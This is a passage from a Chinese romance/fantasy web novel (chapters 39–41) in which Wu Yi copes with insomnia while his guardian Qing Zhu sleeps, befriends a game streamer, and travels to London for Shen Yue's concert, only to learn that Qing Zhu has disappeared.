赵易垂下眼眸,再度抬起时,眼底有一闪而过的野心,“我也想,但正如我所说的,他毕竟要比我多吃几十年饭,我想要跟他抗衡,只能站对队伍。” “……” 乌宜这下听明白了,赵易特意将这样东西偷出来,就是为了讨好卿烛,让卿烛帮他夺权。 赵机好不容易死了,这么大的产业按理来说应该由赵斐然继承,但偏偏赵易也早早进入了公司,如今也是核心圈竞争对象。 这么看起来,赵家也就是一盘散沙,死一个赵机竟然也没有人伤心么? 这一刻,乌宜的心情忽然有些复杂。 但还没等他继续听下去,温暖的外套就搭在了他的肩头,卿烛动作随意,目光同他交汇一瞬便转开。 “外面冷,进去说。” 他这话像是在回复赵易,可却自顾自地扶住了乌宜的后背,将他往屋子里推了推。 乌宜其实还是不太想搭理他,甚至生出了些把外套丢掉的冲动,可是犹豫着往屋子里走,最后还是没有那样做,只是回到客厅以后把外套摘下来,放在了沙发上。 赵易进了屋子,很明显地松了口气。 他们谈事情,乌宜并不太好奇,索性自己端着那杯有点凉了的牛奶回到房间。 隔音很好,楼下的动静传不到他耳中,他趴着点开自己的社交软件想要发些什么,可一打开就发现最新评论又是那些熟悉的言论。 [P图博主最近怎么不更新啦?难不成是素材枯竭了] [要是长得好看还会不露脸吗?拿不出手罢了,粉丝就别吹什么神颜了,小心之后见光死] [笑死,不信有钱人真的会每天发这些,有的人越缺什么就越喜欢炫什么] [看得出来博主很俗了,整天发这些装逼的东西,没有一点内涵] 乌宜:“……” 原本心里就不爽,此时怒火更是火烧火燎旺盛起来,他毫不犹豫点开那些评论,逐一喷了回去。 [你才P图,明明是别人偷我的图,你不知道看发布时间吗?] [我好不好看跟你有什么关系?不要嫉妒我] [我就是不缺啊,买了凭什么不能发?] [我就发,下个月我还要去英国看演奏,你有我有内涵吗?] 哼哧哼哧把见到的那些评论都怼了个遍,他正觉得心情放松了一些,就看见那些人又回复了他。 [博主真的成年了?这都什么小学生吵架法啊?] [祝你中考顺利] “……” 乌宜简直要气疯了,但好在很快有他的粉丝和看不下去的路人帮忙怼回去,他心里才舒服了一些。 退出软件,他才发现自己已经在这里浪费了一个多小时,正退出,房间门就被敲响。 似乎是猜到了他不会回应,卿烛便直接打开了门。 “你进来干什么?” 乌宜原本趴着,一见到他便撑着坐起来,凶巴巴地盯着他。 不知道是不是他的错觉,卿烛此时的眼眸很亮,仿佛蓄着一簇光,宛若一轮血月,让人瞧着不由得心生寒意。 乌宜心里打起了鼓。 “赵机这边寄存的力量有些多,我要休息一段时间,可能要一个月。” “……” 乌宜有些不可置信,明明上次才半个月的,结果现在都要双倍的时间了。 他甚至觉得卿烛是为了转移之前他们的矛盾才故意这么说,可那些质问的话又说不出来,他心里难受极了,想到沈跃的演奏,又想到自己以后都要一个人出门。 在他沉默的时间里,卿烛一直盯着他,但什么都没说。 于是最后,他也只是冷冷丢下三个字:“知道了。” 滑落,他又趴回了床上,装模作样地点开社交软件,假装在看刷到的更新。 房间门不多时便关上,他抬头一看,发现卿烛已经出去了。 手机掉在床上,他有气无力地趴着,心情更加郁闷了,最后的时候,他其实感觉到了卿烛好像有话想要跟他说,可最后还是没有出口。 是想说什么呢?解释昨天晚上的争吵,还是埋怨他不接受那些求和的礼物。 可是他总是猜不到卿烛的心里在想什么,即便现在也是一样的。 “……” 当天晚上,李青泉回来,三人吃了一顿还算和谐的饭,第二天乌宜再醒来,便得知卿烛沉睡的消息。 是李青泉告诉他的,一大早卿烛便嘱咐了他一些事宜,便回到了房间,此时那具身体安安静静躺在床上,像是一具不会呼吸的尸体。 “他说什么了?”乌宜没有上楼去看。 李青泉轻咳一声,“他让我没事就住在家里,陪你玩。” “哦。” “我看他挺关心你的,还让我监督你早睡早起。” 乌宜皱皱眉头,小声说:“谁要他多管闲事。” 李青泉诧异地看着他,不由咂舌:“你们两这架还没吵完啊,卿先生没哄你?” 这话一出,乌宜脸上又挂不住了,“谁要他哄?” “我看平时都是他哄你啊。”李青泉爱说大实话,“对了,二楼那箱金子你真不要吗?我看卿先生一早不知道从哪弄来的,你要是不稀罕……” “那是卿卿给我的!”乌宜着急说完,就看见李青泉表情调侃,他顿时沉默下去,意识到自己中了对方的套。 “知道是你的了,我又没管你要,只是想看看而已,还没见过这么多金子呢。” 李青泉随便找了个借口,乌宜却不信,忧愁地看向楼梯口。 那一箱东西在他房间门口放了很久,他都还没有仔细看过,这会儿听李青泉说完,却不由得存疑。 一大早弄来的,该不会是偷的吧? 心里一惊,又觉得卿烛应该不会做出这种事。 生活平静地度过了一周,从卿烛沉睡第一天开始,乌宜失眠的症状再度出现,每天都要熬到两三点。 岑悦中途来过一趟,和阿姨一起来送东西,看见他面色憔悴才得知这个消息。 她强烈要求乌宜跟自己回家去住一段时间,乌宜起初不愿意,却还是被李青泉和傅流晔连哄带骗捉到了傅家。 后院的恒温游泳池开放,傅流晔难得下班早,知道他想学游泳,便特意充当教练带着他。 乌宜换上衣服跟着一起下水,练习一晚上累得够呛,好好吃了一顿才补充回来精力。 李青泉在边上给他揉肩,止不住感慨:“你最近真是瘦了不少,脸本来就一小点,你是想变成空气啊。” 折腾一晚上,乌宜精疲力尽,没心思跟他呛声,只说:“我的脸大小跟肥瘦没关系。” “是是是,骨像好,最近很火的那个什么词……面部折叠度。” 李青泉最是擅长夸人,叽里咕噜说了一大堆,领着他出去散了一圈步,才让他上楼睡觉。 洗完澡躺在床上,乌宜甚至连抬脚的力气都没了,整个人蔫巴的不行,可大脑依旧处于亢奋的状态,眼睛怎么也舍不得闭上。 放在身边的手机叮铃铃响起,他看见是沈跃,便接起来摁下功放。 “已经在房间里了吗?”沈跃的声音很温柔。 乌宜嗯了一声,然后把今天自己做的事情全部告诉他,最后留下一句控诉,“他们可能都想要累死我。” 沈跃被他幽怨的语气逗笑,说:“适当运动挺好的,下次时间不要这么久,会虚脱的。” “嗯嗯。”乌宜想了一下,“我的手续都办好了,机票也订好了。” “我也已经安排好了,到时候我会去接你,不要害怕。”时间还有一个月,沈跃却已经提前开始哄他了。 乌宜点了头,意识到对面看不见,才嗯了一声。 房间里很安静,沈跃放轻了声音,显得更加温柔,“今天要听曲子吗?” 乌宜说想,但是又改口:“我也很想聊天,你陪我聊聊天好不好?” “好啊。”沈跃没拒绝过他什么。 对面传出脚步声,听起来像是沈跃走到了沙发边上坐下,然后背景音又变得很安静。 “沈跃哥哥,你谈过恋爱吗?” 乌宜的第一个问题,就让沈跃呛了一下,他轻咳两声,问:“怎么了?你有情感方面的问题?” “没有……”乌宜把脸埋进枕头里,莫名感觉脸热,“就是想问问。” 沈跃轻笑道:“成年人谈恋爱是很正常的事情,你不用不好意思。” “真的没有。”乌宜无奈,“你还没有回答我的问题。” “嗯,算谈过吧,我在大学的时候追求过一个女生,不过在一起没多久就分手了。” 乌宜很感兴趣:“为什么?你是怎么追的她?” “就是很普通的那种方式,送早点送礼物请吃饭,一起参加聚会。”沈跃回忆起从前的事情,似乎有些哭笑不得,但还是继续说下去,“时间太久了,分手的原因我也记不太清楚,就是两个人不太合适,和平分手的。” “哦。” 乌宜安静了两秒,又问:“就这一个吗?” “是,之后忙工作,就没再考虑过这些问题。” 乌宜:“你们接吻过吗?在一起之前有亲过吗?” 沈跃似乎被什么东西呛到,又猛地咳嗽两声,半天缓和下来才道:“谁亲你了?” “你转移话题。”乌宜控诉他。 “……”沈跃的声音很无奈,“当然是在一起之后亲的,没确定关系怎么亲?” 乌宜眨眨眼,脑子里乱极了。 他许久没再发问,沈跃便试探着问:“你是不是想谈恋爱了?对象是谁?方便跟哥哥说吗?” “没有。” 乌宜想也不想便否认了。 沈跃便换了一个提问方式:“你最近课多不多?有和同学参加聚会吗?” “没有。” 乌宜转头,小脸在被子里蹭了蹭,心情一团糟。 沈跃始终不放心,还想要问什么。 但他刚说出两个字,乌宜便打断道:“哥哥,我困了。” “你就骗我吧。”沈跃似乎听出了他的声音很有精神,十分无奈,“我不问了还不行吗,哥哥给你拉一段最近表演过的曲子。” “好。” 乌宜安安静静听了很久,全程没有摸过手机,但还是没有睡意,他想着沈跃今天上午还有彩排,便装作自己已经困了,聊过几句后准备挂电话。 沈跃很轻地笑了笑,仿佛是在配合他这边的氛围,但挂断前还是忍不住说了一句话。 “小宜,这个年纪谈恋爱不是什么大不了的事情,只是要分清楚对象,问明白自己的心,草率的尝试也没关系,但如果实在想不通可以先放着,不要太为难自己。” 乌宜听完一怔,低低地嗯了一声。 “晚安,祝你好梦。” 沈跃话音落下,他的手指微微动一下,挂断了电话。 随着嘟的一声,房间里再没了声音,乌宜一卷被子盖在腰上,盯着已经完全没了亮光的窗外,心情忽然变得很压抑。 他能感觉到岑悦和傅流晔他们今天都在尽力转移他的注意,可是带着他做了那么多的事情,即便精力已经完全被耗尽,他却还是睡不着。 想到卿烛沉睡前两人的争吵,他忽然感觉鼻尖酸涩,心情很难过。 每当吸收了一份力量,卿烛的性格就会有微妙的变化,都说他会逐渐变得和几十年前越来越像,他那时还没有任何的担忧,可现在却不由得惧怕起来。 那样的卿烛是他陌生的样子,不是那个从小看他到大,无时无刻陪伴在他身边的存在。 他本能地感到恐惧- “先生今天出门了,又是带阿风。” “阿风话少又肯干,带他也正常。” “我就是为你不值啊大哥,明明你才是最早陪在先生身边的,结果现在最受信任的反而变成了他,这谁能服气。” 两个少年人站在屋子前打水聊天,更矮的那个据理力争,高的却是满脸无奈。 “反正我是不爽,我都想跟先生说阿风之前背着他做的那些事了。” “可别。”秦东临叹口气,丢下了手中的水瓢,“大东,你真以为先生不知道他们私下做的那些吗?先生只是不说而已。” 被称作大东的少年撇撇嘴,显然是不太服气。 秦东临还要说些什么,身后忽然传来脚步声,他便露出个笑容回头,看见远远回来的黑衣男人,正要上前迎接,却在看清楚后面跟着的少年时愣住了。 少年浑身是血,抬手摸着额头上的伤口,脸上什么表情也没有,看起来像是从什么很高的地方摔下去,狼狈极了。 “先生,阿风怎么了?” 男人没说话,后面的少年却是抬起眼,眸底透出几分沮丧,“我从山上滚下去了。” “下次小心点。”秦东临说完,看见男人回了屋子。 他走后,大东悄然松口气,忙舀水给阿风洗伤口。 “嚯,这么大个口子,你怎么弄得?没请先生帮你治治吗?万一发炎怎么办?” 阿风沉默着清洗伤口,动作粗暴,将结了薄痂的伤口再次扯破,眉头紧锁。 “算了,我来吧。”秦东临拿着毛巾跑出来,打湿了给他擦脸,可头上却是血流不止,表情又凝重起来,“我去找先生,让他帮你处理一下。” 说着就要走,可少年却将他拉住了。 “别去了,他不会理我的。” 秦东临一怔,大东也睁大眼睛,觉察出不对,下意识压低声音问:“怎么回事?” 阿风冷着脸,说:“我上次偷拿别人东西的事情被他知道了,回来的时候我脚一滑从山上滚下去,他看见了也不救我,我上来以后,他说这是教训,让我记住。” 两人都吃了一惊。 大东不可置信:“你不是只偷了两只鸡吗?没那么严重吧。” 阿风面无表情,“平时也没见这么较真,可能真的看不惯我吧。” 刚才偷偷说他得先生青眼有加的大东此时不敢吱声。 秦东临虽然觉得奇怪,但还是宽慰道:“别瞎想了,快把伤口处理好,我带你去山下的卫生所。” 阿风却只是潦草洗了洗,说了句不去,便自顾自回房间了。 看出他还在生闷气,秦东临无奈,转头看见机灵躲在墙后面不知道听了多久,差点被吓了一跳。 “别偷听了,去问问先生明天要做什么。” 机灵立马点头,转头往楼上跑,只是靠近敞开的房门后,脚步又不由自主地变得迟疑。 到门前,他正准备开口说话,却见立在屋内的人忽然回头。 如墨般的长发垂落身侧,狭长的猩红眼眸中是毫不掩饰的冰冷和漠然,只一眼便让人遍体生寒。 身体猛然一震。 梦境中的画面糅杂成一团,宛若羽毛般纷飞而下,唯有那双阴沉的双眼如同幻影般挥之不去。 乌宜骤然睁开眼,惊魂未定地大喘着气,窗外天光大亮,可那种陌生的恐惧感仍旧残存—— 作者有话说:卿?每日一睡 第40章 “昨晚又没睡好。” 傅流晔下楼泡了茶, 洗过手经过沙发,随手揉了揉正在打游戏的乌宜的头。 他和李青泉并肩而坐,正在打当下最火的手游, 因为局面紧张的缘故,小脸微微绷紧,脸上一丝笑容也无,显得格外专注。 等手机上的角色终于死了,他才舒口气抬起头, 回答傅流晔刚才的提问。 “其实睡了很长时间,但是做了好多噩梦,一点也不放松。” 傅流晔也带他去检查过了, 但乌宜不太愿意吃药干预, 目前也没了别的办法。 “今天要不要去哪玩?公司没什么事。” 乌宜想了一下,摇摇头:“不要, 但是我想早一点去英国。” “为什么?” “沈跃哥哥想留我在那边玩一段时间,但是我想结束演出就回来, 所以提前去玩会更好。”乌宜说到这里顿了一下,“我怕卿卿醒来之后还有其他的要紧事情。” 他的担心也不无道理,傅流晔点点头, 表示自己会安排好。 李青泉正要插话, 却见游戏界面忽然冒出个敌人,立马严阵以待, 手指极快地操作人物闪躲。 可他只坚持了几秒,界面上就出现了被击杀的画面。 “靠!”他不由得怒了,开麦说话,“哥们你挂机呢?后面来人了不说。” 乌宜已经死了,这会儿正在看队友的视角, 见人物走出去又退回原地,便小声说:“应该是卡了吧。” 他话音刚落,队友便开了麦。 “网络卡了。“他声音含糊,那边还有拆包装袋的声音,像是在吃面包。 李青泉也不是脾气大的人,便准备等复活进行下一局,谁料他的麦还没关,对面就又多余地补充了一句。 “不过你本身操作问题就很大,知道来人也没太大意义,死了正常。” “……” 乌宜听了这声顿时面露诧异,惊讶地看了李青泉一眼,果然见他面上已流露出怒意,张口便冲着那人呛起来。 “你以为你很厉害吗?3-3的战绩!” “好了好了。”乌宜被他给吓了一跳,连忙开始劝。 对面的人却也不忍让,还嘲弄地笑了一声,“你5-3就强到哪去?其中四个还是抢我的人头。” “谁抢你人头,太把自己当回事了吧。” 乌宜头大,低头看见这局游戏已经结束退出了,只好戳戳还在怼人的李青泉:“都退出了,他听不见。” “……” 李青泉还没缓过气来,越想越不爽,可点出去一看,表情却变得不自然。 “靠了,他总伤害还真比我高不少。” 乌宜无言以对,他打累了,退出游戏领了点任务奖励,刚推出,就听见李青泉爆了句粗口。 “你又怎么了?” 这次就连坐在茶桌边上的傅流晔都跟着看了过来,脸上带着点困惑。 李青泉表情激动:“我就说刚才那声音听着怎么这么耳熟呢,你猜是谁?” 乌宜被他吓得一愣一愣:“谁啊?” “是他!” 李青泉迫不及待地将手机页面递到他面前,乌宜定睛一看,发现那是他们刚打的游戏的直播,界面上是大厅展示,主播背景声稀里哗啦,像是在揉捏塑料纸。 这个ID…… 他怔了怔,发现这个主播正是他们刚才的队友,而且这个主播的名字看起来也很眼熟,似乎正是李青泉之间给他推荐过的游戏主播。 “这是你偶像啊。”他反应过来。 李青泉却是啧了声:“偶像算不上吧,但是我确实挺喜欢他的,他操作可厉害了。” “那你刚才还骂了他呢。” 李青泉轻咳一声,心虚的同时自己又很快调理好,“没事,打游戏嘛,没素质的人多了去了。” 他话英刚落,就察觉到直播间的弹幕风向有些不对,“我靠!现在还有人在讨论我们刚才打的那局。” 乌宜闻言有些好奇地凑过去,果然看见有人在撺掇主播把刚才怼人的拉上,再打一局。 [看看实力] [辱镜神了,这种战斗力算得上什么?] [其实人家也没说什么,听着嘴好笨,要是在游戏里遇见我早被喷退游了] [有人听见刚才背景里另一个队友说话的声音吗?] 乌宜看见这条有点惊讶,意识到他们好像是在说自己。 而很快,那主播也开口了。 “算了吧,没必要,我每天在直播遇见对呛的不少于两位数,我每个都加上,你们想累死我?” 那声音依旧含糊,似乎正在咀嚼什么东西,而他说到这顿了一下,又笑了笑,点开历史队友列表,“不过那个劝架的确实挺可爱,拉小弟弟进来捧捧场吧,那个队友菜成那样,估计是带不动他。” 菜队友李青泉:“他什么意思?” 小弟弟乌宜眨眨眼,没敢说话。 往下滑,主播准确无误找到乌宜的账号,却发现头像已经灰了下去。 “可惜,已经下线了。” [该不会是被主播吓到了吧] [有一说一,那声音确实挺乖的哈哈哈不知道是不是放假的小学生] [不至于吧,今天不是周末] [欺软怕硬是吧,会骂人的不敢加,就喜欢捏软柿子] 有黑粉开始阴阳怪气接龙刷屏,主播却毫不在意,甚至直接发去了好友申请。 “想太多了,我也是会玩娱乐局的。” “我去,镜神加你了!”李青泉瞪大眼睛,不敢相信,“你快上线看看!” 乌宜惊了一下,低头打开手机登录游戏,但还没进去,就听见那声音又冷淡开口说了句什么。 “不打,我菜没资格打职业,今天就播到这,下了。” 话音落下,游戏声音戛然而止,乌宜正好进入游戏,弹出了新的好友申请,而他抬起头,看见那直播已经退出了。 “怎么忽然就下了?” 李青泉也有点摸不着头脑,“刚看见有人问他考不考虑打职业来着,可能是饿了吧,他刚才一直在吃东西。” 他说完,低头看见乌宜的账号里真多了个好友,又惊喜又羡慕。 “我天,这也太好了,你之后说不定还能跟他一起开黑。” 乌宜点进对方主页,看见他还在线。 “给他发条消息试试。”李青泉催他。 “发什么啊?” 乌宜刚点进对话框,就看见对面忽然主动发来了消息。 镜:[小弟弟,有空一起玩] 乌宜想了想,只回复了一个好。 对方收到以后没多久便下线了,他无所事事地看了对方主页精美的战绩和勋章,忽然明白李青泉为什么会崇拜他了。 “真厉害啊。” “那当然,你知道每月底那些职业选手都会开始冲百强,但前几个月第一名一直都是他吗,真太牛了。”李青泉越说越激动,忍不住伸手帮他点了一下界面上的按钮,“看看加他联系方式会不会通过。 乌宜微微睁大眼睛,“应该不会吧。” 可他话音刚落,手机弹窗就出现了对方接受好友申请的消息。 李青泉再次爆发出感叹。 乌宜看着他上蹿下跳的样子,忍俊不禁道:“你这么喜欢他,以后可以用我的号跟他玩。” “真的吗?”李青泉满脸感动,直接扑了上来,“你真好!” 之后的几天,李青泉登录他的账号每天等待,可对方却始终没有上号,他撺掇乌宜给镜发消息,但对方却只回了没空二字。 面对这回应,他也不好意思再让乌宜继续发,索性又继续玩回了自己的账号,相信有缘自会相见。 乌宜回家待了几天,傅流晔为了确保他离开家以后的安全,请了专业保镖团队每天轮守,他收拾好东西请好假,便准备第二天出发。 离开前一天,焦虑症状尤其严重,他其实不太习惯去一个全然陌生的地方,但是尝试新事物对于他而言也是开心的事情。 就这么纠结着,他还是情不自禁打开了那扇自己最开始保证绝不会踏入的房门。 房间的大床周围落下薄薄的床幔,看不清楚里面的画面,直到绕过床尾掀开了床幔的一角,男人沉睡的面容才重新出现在视野中。 乌宜站在床边盯着他看了一会儿,心情变得十分微妙。 卿烛醒着的时候其实也很安静,睡着的时候并不让他感觉陌生,只是没有情绪会显得和他梦中的形象更加贴近,不自觉让他感受到些许畏惧。 他知道那并不是梦,这些年的很多时候,他都会在忽然间共享卿烛的一部分记忆,有的是他曾经于手下一起出行,有时只是他静静望着的一处景观,而这次他在吸收被赵机存放的那部分能量,自然而然也回忆起了以赵机为视角的过往记忆。 整段梦境之中,卿烛一句话也没有说过,可乌宜只是看见那双平静的眼眸,就能感觉到他和现在是完全不一样的。 等那些能力吸收完以后,卿烛是不是真的会变得这么冷漠?会不会像对阿风那样对他。 偷了村民的两只鸡,得到从山崖滚下去满头是血的惩罚,肯定会很疼吧。 想着,乌宜忍不住爬上了床,蜷成一小团缩在卿烛的身边,回想自己以前爬墙的时候手上蹭破了一小块皮都要卿烛给他治疗。 如果有一天卿烛不再那样对他好了怎么办? 他觉得完全没有办法接受。 莫名的不舍和委屈席卷了内心,他下意识地往卿烛身边贴,躺在他的手臂上蹭进怀里,另一只手轻轻搭在他的后背,就好像是抱着他那样。 分明时间还很早,可维持着这个姿势,他竟然很快就滋生出了睡意,不知不觉间便失去了意识。 次日一早,傅流晔抵达乌宜家,准备帮他先收拾好行李,可扫脸进了门,却没看见乌宜。 以为是昨晚又没能睡着导致起床晚了,他上楼去叩门,半天没听见回应,打开便见里头空无一人。 脸色猛然一变,他下意识往楼下走,可忽然间又想到什么,选择去了三楼的另一个房间。 他知道那是卿先生休息的地方,乌宜特意嘱咐过他要让人盯着,免得有小偷溜进去。 犹豫片刻,他将门打开,绕过床幔遮盖住的床尾,便看见敞开的缝隙中,乌宜蜷缩在床上,脸贴住卿烛的肩膀,睡得很安心。 看见这一幕,傅流晔忽然间怔住了。 这些日子他只知道乌宜休息不好,却不知道究竟是因为什么,即便乌宜不提起这个名字,他却也清楚卿先生在对方的心里位置该很重,可没想到今天会看见这副画面。 全然不像原先,只要有人打开房门,乌宜便会立马惊醒,此时他已经在房间伫立良久,却也没见床上的人有半点动静。 睡得真熟。 傅流晔想上去替他掖好被子,又怕吵醒他,只好将床幔合上,准备让他再睡一会。 去了衣帽间,他轻车熟路找出行李箱,将乌宜提前收拾在沙发上的衣服放进去,又简单选了些必需品放好。 收拾完,身份手续放在随身背包中,他将行李收拾到楼下,傅家的保姆也已经拎着新鲜的食材到了,进厨房准备早餐。 没等多久,乌宜自己下了楼,他已经换好衣服,柔顺蓬松的头发垂落在额角,衬得一双眼睛大而圆,清澈单纯。 “好早啊。” 傅流晔看见他领口没整理好,起身过去给他叠好,把毛线衫的纽扣系好,“要早一点去。” “哦。”乌宜很少坐飞机,这会儿被整理好推到餐桌前吃早餐,才总算迟钝地有了即将要去往陌生地方的意识。 “要注意安全,跟着随行的人不能乱跑,你外语不好,少跟人说话。”傅流晔看他一勺一勺挖着粥往嘴里送,用手帕给他擦了擦脸颊,上面按压一夜的红痕还是有点明显,印在瓷白的脸颊上,像是一条已经掉痂的淡粉色伤痕。 “知道啦,我就假装是个哑巴。” 乌宜吃过早餐,又大咧咧跑到一楼的客房里,跟还在赖床的李青泉道别。 “我走啦,你看家哦。” 李青泉自然没有任何意见,从被窝里抬起手挥了挥,“一路平安,等你回来哈。” 乌宜掩着门,脑袋从门缝里钻进去,得到回应却没有直接离开,而是小声嘱咐:“如果卿卿醒了,你要第一时间告诉我。” “得嘞,你放心。” 他这才安心出门,跟着傅流晔上了前往机场的车。 这次出行,沈跃的其他几个朋友也要去,但因为乌宜提前了时间,所以没办法跟随大部队,但好在还有个阿牧跟他一起。 同傅流晔告别,他们在VIP休息室等了一会儿,很快就上机了。 “得要很久,要不要看电影?”阿牧跟他坐在一起,冲着他展示了一下自己精心挑选的恐怖电影,还很期待地表示,“一共三部,看一部睡一会正好能看完。” 乌宜拧住眉头,嫌弃地摇摇头:“不要,你自己看吧。” 阿牧十分可惜地摇摇头。 飞机上不算安静,但漫长的飞行中,内舱里也逐渐没了动静,乌宜什么也没有干,脑子里面有很多乱七八糟的想法,很久很久才终于睡着。 昏昏沉沉不知道多久,他觉得飞机餐味道很古怪,潦草地吃了两顿实在是吃不下,最后还是被阿牧哄着才又塞了点。 “跟小孩子一样,还要哄。” 听见阿牧调侃的话,他并没有放在心上,打了个哈欠就裹住毯子合上眼,继续维持那种半梦半醒的状态。 耳边的一切都那么遥远,直到有人轻轻推他,他才睁开眼。 “快降落了。” 阿牧的声音在耳边响起,他偏过头,才发现舱窗的遮阳帘不知何时被打开了,看下去能够窥见大半个陌生的城市,还有那些他只在图片视频里面见到过的著名地标建筑。 微微睁大眼睛,他偏头看下去,降落时的声响让他不太舒服,阿牧便揉揉他的耳朵,让他张开嘴巴。 “减轻压力。” 乌宜照做,呆呆地啊了一会儿,忽然看见他还没灭屏的手机页面上是自己的照片,顿时睁大了眼睛。 “你什么时候拍的。” 阿牧哈哈笑起来,“刚才,挺好看的吧,一会下去了传给你。” 乌宜草草扫了一眼也挺喜欢,等下了机往外走时便缠着他要照片,阿牧趁机逗弄他几句,他这会儿累了,也乖乖学着喊哥哥拜托,但拿到照片以后就只露个后脑勺给阿牧看,自顾自边走边推放大图片看细节。 “冷漠啊。”阿牧在一旁抱怨。 他没有理会,确定照片没有露脸,便保存了下来,准备之后凑齐几张,发一条极具文艺气息的更新。 让那些人再嘲讽他又土又壕的。 机场外人很多,诸多让人眼花缭乱的接机牌中,阿牧一眼便看见了戴着口罩的沈跃,忙抬手冲对方招了招。 沈跃笑着上前,他身后的人顺势接过阿牧手中的行李,阿牧腾出手要跟好朋友来个热情的拥抱,却见沈跃已经先一步搂住了乌宜的肩膀。 “想不想我?” 乌宜嘻嘻一笑,“不想。” 半个多月前才见过的,沈跃给他送邀请函之后还请他吃了一顿饭,距离现在也没有多久。 沈跃听完也不觉得生气,揽着他往前走,和他介绍一会儿要去的餐厅。 “知道你们累了,直接去我家休息,知道你不喜欢酒店。” “嗯嗯,都听哥哥的。” 两人就这么大步往外走,阿牧迈着长腿跟在后面,面上全是无奈。 两人都有些累了,一顿饭并未吃多久,转战沈跃家,沈跃在英国的房产乌宜早在视频里面见过,所以到了也不觉得陌生。 简单洗漱过,他去房间里面休息,虽然身心疲惫却没有太多困意,索性将阿牧给他拍的照片连带着方才在拍的长街以及食物图片P了P,发在了社交平台上。 一一:[伦敦之旅,哥哥帮我拍的照片] 发布不到一分钟,点赞和评论已经滚动起来。 [好美啊] [我宝真漂亮呜呜呜,这件羊毛衫外套可以求链接吗?好好看哦] [A家的新款吧,搜了一下要三万] [吐血] [博主居然来伦敦了,这家餐厅我吃过味道很好~] [所以一一之前回复那些黑粉的话是真的诶,是来看演奏会吗?] 乌宜随便挑了几条回复,没再看见那些喷子,正心满意足地要退出,就忽然收到了一条私信。 [不就是质疑你穿假货吗?至于举报我?你到底哪来的背景啊] 这口吻格外熟悉,即便账号是陌生的,他却也第一时间回想起就是这个人之前追着他喷。 难怪前段时间都没来,原来是封号了,难怪。 活该! 他哼一声,点击了举报用户,然后拉黑退出软件。 正准备丢下手机开始酝酿睡意,手机又叮的一声响起,他点开,发现居然是之前打游戏加的那个博主给他发来了消息。 [打吗?] 乌宜下意识点开被李青泉推荐的那个软件,找到这个人的账号,发现他正在直播,但好在并没有将和他的聊天界面露出来,画面还是游戏的开屏界面,而主播一言不发,背景只有鼠标点动的清脆声响。 他想了一下,回复:[现在不打哦] 直播间响起叮咚声,主播开始敲击键盘。 [在忙吗?] 乌宜打了个嗯还没发出去,对面忽然又发来了消息。 [你被盗号了?这里提示你的账号不在大陆有风险] 乌宜一惊,连忙回他,[没有,是我出来旅游了] [不信] 乌宜收到这条消息,有点摸不着头脑,心想那要怎么办。 这有什么好不信的呢?他又没有要骗钱。 谁料紧接着对面就发过来一条,[除非你说句话,让我验证是本人] 乌宜皱起眉头,觉得好像有哪里不对劲。 他还没回,新消息又弹出。 [之前打游戏我听过你的声音,如果不同的话,你肯定就被盗号了,我会举报你] 举报? 乌宜几乎立刻联想到了那个被举报封号的私信,犹豫半天还是摁下了语音键,小声说:“我真的没有被盗号。” 说完,他手一松发出去,对面却半天没了动静。 忽然间有些不好的预感,他切到直播软件,卡顿一秒正好听见了熟悉的声音响起。 “我真的没有被……” 声音戛然而止,是有人将麦克风的声音关闭了,这次背景连键盘打字声都消失,万人直播间的弹幕顿时热闹起来。 [谁在说话?] [主播是在聊s吗?] [好乖的声音啊,让姐姐再听听] [哈喽?去干什么了?] 乌宜脸颊涨红,觉得有点尴尬,很快就收到了对方的消息。 [确定是真人了,不好意思] 乌宜虽然有些意见,但还是怂怂地回复了一句没关系。 [你去哪里玩了?] 直播间还是毫无动静,弹幕疯狂滚动,主播却全然没理会,还在给他发消息。 乌宜老老实实回答,对方又询问他什么时候回去。 聊了几句,他看见对方直播间已经掉了三千人,有点不好意思再耽误他的时间,只好找借口说自己要休息了。 互道晚安后,他松口气,放下了手机。 之后的一周时间,他和阿牧去打卡了各个知名景点,两人都是吃货,所以主要还是辗转于各大餐厅。 沈跃演出在即,没太多时间陪着他们,只能抽空同他们出去。 时间过得很快,眨眼就到了演出当天,乌宜他们的位置靠前,但他害怕被别人拍照片,所以戴上了口罩和帽子,抵达后被迎接到后台,跟几个姗姗来迟的朋友给沈跃鼓劲。 再回到位置上等待,他舒了口气,看了一眼身边,阿牧此时坐在那里,他原本在另一个位置,但乌宜是一个人来了,他便顺理成章往这边挪了过来。 想到本来应该和自己坐在一起的是另一个人,乌宜的心情变得又酸又涩,忍不住算了算卿烛休息的日子。 都一个月了,还真不是骗他。 回过神想起来一会看演出,他低头将手机调成静音,页面上却忽然弹出了来电显示。 看清楚来电人,他心跳骤然加快,想也不想便接通。 “乌宜,那个那个……”李青泉的声音有些慌乱,“你看完演出了吗?” 乌宜本能地心里发慌,“还没有,怎么了?是不是家里出什么事了?” “你别着急,是这样的,我这些天都没上楼,因为楼下一直有保安守着嘛,加上我这段时间也比较忙,所以一直没去楼上看过,今天我结束完一个仪式回来……” 李青泉语速很快,可照常的过分絮叨还是让乌宜失了耐心,他着急道:“你说重点。” “卿先生又不见了!” 听见这句,乌宜下意识怔住,莫大的慌乱和无措在胸膛中升腾盘旋,几乎要将他吞噬。《 》 40-45 第41章 “不过你也别着急, 我已经调监控看过了,卿先生是自己醒的,白天下楼离开了家, 好像是要去哪里,看起来和之前没什么区别,我正准备去联系傅流晔和秦爷爷他们,说不定是沉睡以后忽然想起了什么,准备去跟他们聊聊。” 乌宜很想现在就出去跟他一起打电话询问, 可是台上已经差不多准备好,这是沈跃很重要的一场演出,他不希望因为自己的忽然离席给沈跃留下遗憾, 便只能拜托李青泉查清楚。 挂断电话, 他将这个消息分别发给了傅流晔和秦念语,想了想又点开了赵易的聊天框, 虽然并不是很喜欢这个人,但他知道卿烛已经和他达成了某种合作。 所以……赵易应该也是希望卿烛尽快苏醒的人之一。 不多时, 演奏开始,他只能放下手机,听着激昂而悦耳的音乐响起, 心底虽然仍旧不安, 可无端被抚平了不少。 是了,他担心太过, 卿烛总是有那么多自己的想法,他根本用不着这么担心。 果然是关心则乱吗。 认认真真听完了整场演奏,其他人起身离席时,乌宜下意识摸出手机,却被阿牧捞着手臂拎起来。 “走走走, 咱们去后台找他。” 乌宜这才发现他的手中不知何时多了一束花,这会儿一边往后面走,一边往他手中塞。 “一会你就把这花送给他。” 那花太大了,乌宜只能双手捧着,分不出手再去看手机,跟在他后面去了后台。 他们到休息间的时候沈跃正在换衣服,他的衬衫被微微汗湿,原本一丝不苟的头发往后捋,显出温润面容下的几分洒脱和畅快。 “谢谢小宜了。” 